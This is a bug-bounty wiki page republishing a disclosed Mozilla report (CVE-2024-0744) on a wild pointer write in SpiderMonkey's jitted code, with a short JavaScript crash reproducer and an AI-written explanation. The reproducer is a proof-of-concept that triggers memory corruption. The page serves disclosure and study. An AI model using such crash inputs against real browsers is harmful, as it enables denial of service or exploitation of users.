Skip to content
Memory corruption Disclosed report Advanced CVE-2024-0744

Wild pointer-deref from jitted code

A JavaScript engine crash occurs when jitted code writes to an unmapped memory address, likely due to a bug introduced in a specific commit. An attacker could potentially exploit this to cause a denial of service or possibly execute arbitrary code, though the report notes it may only affect debug builds.

lukas.bernhard Follow

Originally disclosed on Mozilla

  • Fixed in 15 days
  • Paid in 41 days
  • Disclosed after 15 days
Text
Steps to reproduce:

On git commit 3bd65516eb9b3a9568806d846ba8c81a9402a885 the attached sample crashes the js-shell when invoked as `obj-x86_64-pc-linux-gnu/dist/bin/js --fuzzing-safe --fast-warmup --gc-zeal=14 crash.js` The crash is flaky and might need a couple of attempts to manifest.
The crash occurs at the jitted instruction `mov DWORD PTR [rax+0xa0], ecx`, where rax points to unmapped memory.
Bisecting points to 71883785e1d2bed4392079a95e1caa45869cf0a1 related to bug 1868187. So this might be a debugger-related issue and not affecting users; still flagging as s-s just in case the bisect is a false positive.

'''
function F0() {
    if (!new.target) { throw 'must be called with new'; }
}
const v2 = new F0();
const v5 = [0, 0, 0, 0, 0, 0, 0]; 
class C6 {
    constructor(a8, a9) {
        a8[a9];
    }   
    toString(a12, a13) {
        const t11 = this.constructor;
        new t11(v2);
        const t13 = this.constructor;
        new t13(3622, this);
    }   
}
const v18 = new C6("aaaa");
const v19 = new C6(v5);
const t19 = v19.constructor;
new t19("aaaa", v18);
'''

The original report as published on Mozilla's Bugzilla, by lukas.bernhard. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely a bug in the JIT compiler introduced by a specific commit, causing it to generate code that dereferences an invalid pointer.

Impact

This could allow an attacker to cause a denial of service or potentially execute arbitrary code, though the report suggests it might be a debugger-related issue and not affect users.

What the attacker needed

Ability to run the js-shell with specific flags; a crafted JavaScript file

How it was found

  1. Run the js-shell with the provided flags and the crash.js sample.
  2. The crash may be flaky and require multiple attempts to manifest.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This report describes a crash in a JavaScript engine's just-in-time compiler, which turns code into machine instructions while running. The crash happens because the compiled code tries to write to a memory address that isn't valid, which can be used by attackers to disrupt the program or worse.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by lukas.bernhard

View all

16 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.